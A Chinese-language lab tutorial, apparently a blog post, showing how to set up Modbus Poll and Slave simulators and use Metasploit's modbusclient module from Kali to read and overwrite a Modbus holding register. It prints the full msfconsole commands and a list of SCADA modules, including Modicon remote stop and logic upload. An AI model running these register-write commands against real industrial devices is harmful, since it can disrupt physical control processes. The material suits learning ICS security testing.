Metasploit攻击modbus

简介: Metasploit攻击modbus

1. 环境配置


1.1 机器配置


modbus poll:win10虚拟机

modbus slave:win10物理机

攻击机:kali虚拟机+msf


1.2 拓扑图

2.  MODBUS主从模拟器介绍

2.1 简介


Modbus Poll :Modbus主机仿真器,用于测试和调试Modbus从设备。该软件支持ModbusRTU、ASCII、TCP/IP。用来帮助开发人员测试Modbus从设备,或者其它Modbus协议的测试和仿真。它支持多文档接口,即,可以同时监视多个从设备/数据域。每个窗口简单地设定从设备ID,功能,地址,大小和轮询间隔。你可以从任意一个窗口读写寄存器和线圈。如果你想改变一个单独的寄存器,简单地双击这个值即可。或者你可以改变多个寄存器/线圈值。提供数据的多种格式方式,比如浮点、双精度、长整型(可以字节序列交换)。


Modbus Slave:Modbus从设备仿真器,可以仿真32个从设备/地址域。每个接口都提供了对EXCEL报表的OLE自动化支持。主要用来模拟Modbus从站设备,接收主站的命令包,回送数据包。帮助Modbus通讯设备开发人员进行Modbus通讯协议的模拟和测试,用于模拟、测试、调试Modbus通讯设备。可以32个窗口中模拟多达32个Modbus子设备。与Modbus Poll的用户界面相同,支持功能01, 02, 03, 04, 05, 06, 15, 16, 22和23,监视串口数据。


安装后的主从站是这个样子



然后这里我们先用poll主站点击connection,这里没有注册码直接点击OK,然后设置你的从站ip



然后去slave设置本地ip,并且选择modbus tcp/ip



然后这里是对应操作的代码号



然后我们再主站上修改值,可以看到从站也跟着改变



参考:https://blog.csdn.net/byxdaz/article/details/77979114


3. 攻击流程


操作之前我们用攻击机kali去ping下从站机器是否可以ping通


ok这样可以保证我们的msf可以操作到从站机器

3.1 读取寄存器操作


启动msfconsole

然后寻找modbus利用模块

msf6 > search modbus
Matching Modules
================
   #  Name                                            Disclosure Date  Rank    Check  Description
   -  ----                                            ---------------  ----    -----  -----------
   0  auxiliary/admin/scada/modicon_command           2012-04-05       normal  No     Schneider Modicon Remote START/STOP Command
   1  auxiliary/admin/scada/modicon_stux_transfer     2012-04-05       normal  No     Schneider Modicon Ladder Logic Upload/Download
   2  auxiliary/analyze/modbus_zip                                     normal  No     Extract zip from Modbus communication
   3  auxiliary/scanner/scada/modbus_banner_grabbing                   normal  No     Modbus Banner Grabbing
   4  auxiliary/scanner/scada/modbus_findunitid       2012-10-28       normal  No     Modbus Unit ID and Station ID Enumerator
   5  auxiliary/scanner/scada/modbusclient                             normal  No     Modbus Client Utility
   6  auxiliary/scanner/scada/modbusdetect            2011-11-01       normal  No     Modbus Version Scanner


然后我们利用auxiliary/scanner/scada/modbusclient



查看一下配置,首先我们可以看看有哪些操作


msf6 auxiliary(scanner/scada/modbusclient) > set action 
set action READ_COILS              set action READ_INPUT_REGISTERS    set action WRITE_REGISTER
set action READ_DISCRETE_INPUTS    set action WRITE_COIL              set action WRITE_REGISTERS
set action READ_HOLDING_REGISTERS  set action WRITE_COILS


有对线圈的读写操作,首先我们可以进行应该读的操作


msf6 auxiliary(scanner/scada/modbusclient) > set action READ_HOLDING_REGISTERS 
action => READ_HOLDING_REGISTERS
msf6 auxiliary(scanner/scada/modbusclient) > set rhosts 10.0.7.148
rhosts => 10.0.7.148
msf6 auxiliary(scanner/scada/modbusclient) > set data_address 2
data_address => 2
msf6 auxiliary(scanner/scada/modbusclient) > options



然后查看下发现,功能、ip、查看的数据地址已经设置完成了



然后我们run一下



此时对应的值为2323,这样应该读寄存器的操作就完成了



3.2 写寄存器操作


然后修改下利用写功能

msf6 auxiliary(scanner/scada/modbusclient) > set action WRITE_REGISTER
action => WRITE_REGISTER
msf6 auxiliary(scanner/scada/modbusclient) > optiions
[-] Unknown command: optiions.
msf6 auxiliary(scanner/scada/modbusclient) > options
Module options (auxiliary/scanner/scada/modbusclient):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   DATA            0                no        Data to write (WRITE_COIL and WRITE_REGISTER modes only)
   DATA_ADDRESS    2                yes       Modbus data address
   DATA_COILS                       no        Data in binary to write (WRITE_COILS mode only) e.g. 0110
   DATA_REGISTERS                   no        Words to write to each register separated with a comma (WRITE_REGISTERS mode only) e.g. 1,2,3,4
   NUMBER          1                no        Number of coils/registers to read (READ_COILS, READ_DISCRETE_INPUTS, READ_HOLDING_REGISTERS, READ_INPUT_REGISTERS modes only)
   RHOSTS          10.0.7.148       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           502              yes       The target port (TCP)
   UNIT_NUMBER     1                no        Modbus unit number
Auxiliary action:
   Name            Description
   ----            -----------
   WRITE_REGISTER  Write one word to a register



然后我们设置下配置内容



刚才我们已经设置好了iP,然后我们把写入的地址和值都改一下然后运行



然后我们发现地址2的值修改为了1700,这样写的操作完成了


相关文章
|
3月前
|
安全 Shell
Metasploit系列(二) -- 漏洞利用
Metasploit系列(二) -- 漏洞利用
30 0
|
安全 数据安全/隐私保护
445端口漏洞利用
445端口漏洞利用
193 0
445端口漏洞利用
|
网络协议
Metasploit -- 指定端口扫描主机
Metasploit -- 指定端口扫描主机
82 0
Metasploit -- 指定端口扫描主机
|
安全 Ubuntu 关系型数据库
Metasploit -- 攻击Metasploitable2靶机
Metasploit -- 攻击Metasploitable2靶机
355 0
Metasploit -- 攻击Metasploitable2靶机
|
网络协议 Linux 网络安全
2022-渗透测试-信息收集-Metasploit(基于TCP协议)
2022-渗透测试-信息收集-Metasploit(基于TCP协议)
2022-渗透测试-信息收集-Metasploit(基于TCP协议)
|
存储 网络安全 开发工具
2022-渗透测试-信息收集-Metasploit(基于SNMP协议)
2022-渗透测试-信息收集-Metasploit(基于SNMP协议)
2022-渗透测试-信息收集-Metasploit(基于SNMP协议)